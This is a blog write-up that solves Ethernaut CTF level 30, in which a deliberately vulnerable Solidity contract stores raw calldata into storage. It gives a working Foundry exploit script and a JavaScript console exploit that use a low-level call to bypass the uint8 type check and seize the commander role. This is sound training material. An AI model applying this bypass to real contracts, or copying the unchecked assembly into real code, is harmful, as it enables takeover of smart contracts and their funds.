The Ethernaut CTF Solutions | 30 - Higher Order

The Ethernaut CTF Solutions | 30 - Higher Order

Clever Command: Bypassing Type Checks in Function Calls to Seize Control

ยท

4 min read

Goals

The Contract

pragma solidity 0.6.12;

contract HigherOrder {
    address public commander;

    uint256 public treasury;

    function registerTreasury(uint8) public {
        assembly {
            sstore(treasury_slot, calldataload(4))
        }
    }

    function claimLeadership() public {
        if (treasury > 255) commander = msg.sender;
        else revert("Only members of the Higher Order can become Commander");
    }
}

Yes, that's it!

The hack

I really love those little challenges! It is so simple and the code so short that you know there will be some trick waiting for you along the road. In this case, however, if you have come so far in the Ethernaut challenges already, this shouldn't be a problem for you.

Let's take a closer look at the contract:

function registerTreasury(uint8) public {
    assembly {
        sstore(treasury_slot, calldataload(4))
    }
}

This little assembly code stores the variable that starts at the 4th byte of the calldata in the storage slot treasury_slot. Why the 4th byte? Because the first 4 bytes are the function selector for the registerTreasury() function, and the data, the uint8 in our case, starts right after. The calldataload function reads the calldata at the specified position and returns it as a 32-byte word.

The claimLeadership() function is pretty straightforward, once we have set the treasury variable to a number greater than 255, we will be able to claim the leadership.

function claimLeadership() public {
    if (treasury > 255) commander = msg.sender;
    else revert("Only members of the Higher Order can become Commander");
}

So the goal is to set the treasury variable to a number greater than 255. However, you may have notice that the registerTreasury() only takes a uint8 as an argument, which means that we can only set the treasury variable to a number between 0 and 255. Hum...

Let's try to play a bit with some simple scripts in forge and see what we can do.

higherOrder.registerTreasury(255);
console2.log("Treasury: ", higherOrder.treasury());
// Treasury: 255

As expected, this works fine. But that doesn't allow us to claim the leadership. Let's try different values:

// Just in case!
higherOrder.registerTreasury(256);
console2.log("Treasury: ", higherOrder.treasury());

// solidity 0.6.12, might be some underflow involved?
higherOrder.registerTreasury(-1);
console2.log("Treasury: ", higherOrder.treasury());

Both of these return some errors because the function is expecting a uint8. Same if we try to adjust a bit the function definition in the interface:

interface IHigherOrder {
    function registerTreasury(uint256) external;
}

The registerTreasury() keeps type-checking the value we are passing. So what if we try without function definition with a low-level call instead?

address(higherOrder).call(abi.encodeWithSignature("registerTreasury(uint8)", 256));
console2.log("Treasury: ", higherOrder.treasury());
// Treasury: 256

This works like a charm, effectively bypassing any type-check! We have set the treasury variable to 256 and we can claim the leadership.

Solution

Let's see the complete solution. This level only requires a script, no need to craft any contract.

In Foundry using forge:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";

interface IHigherOrder {
    function commander() external view returns (address);
    function treasury() external view returns (uint256);
    function registerTreasury(uint8) external;
    function claimLeadership() external;
}

contract PoC is Script {
    // Replace with your HigherOrder instance
    IHigherOrder private immutable higherOrder =
        IHigherOrder(0x2917260322a451BED3074D521B2069fA9f8175ef);
    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        address(higherOrder).call(
            abi.encodeWithSignature("registerTreasury(uint8)", 256)
        );
        require(higherOrder.treasury() == 256, "Treasury should be 256");
        console2.log("Treasury: ", higherOrder.treasury());

        higherOrder.claimLeadership();
        console2.log("Commander: ", higherOrder.commander());

        vm.stopBroadcast();
    }
}

And the command to run the script:

forge script script/30_HigherOrder.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

In the browser's console:

This is a (little) bit trickier in JavaScript as we have to prepare the transaction manually. The following would work just fine:

const data =
  web3.eth.abi.encodeFunctionSignature("registerTreasury(uint8)") +
  web3.utils.leftPad(web3.utils.toHex(256), 64).substring(2);

await sendTransaction({
  from: player,
  to: instance,
  data: data,
});

Then you can claim the leadership:

await contract.claimLeadership();

๐ŸŽ‰ Level completed ๐ŸŽ‰

Takeaway

  • Interfaces provide valuable type-checks when calling functions from other contracts.

  • Be careful when using low-level calls!

Reference


You can find all the codes, challenges and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

ย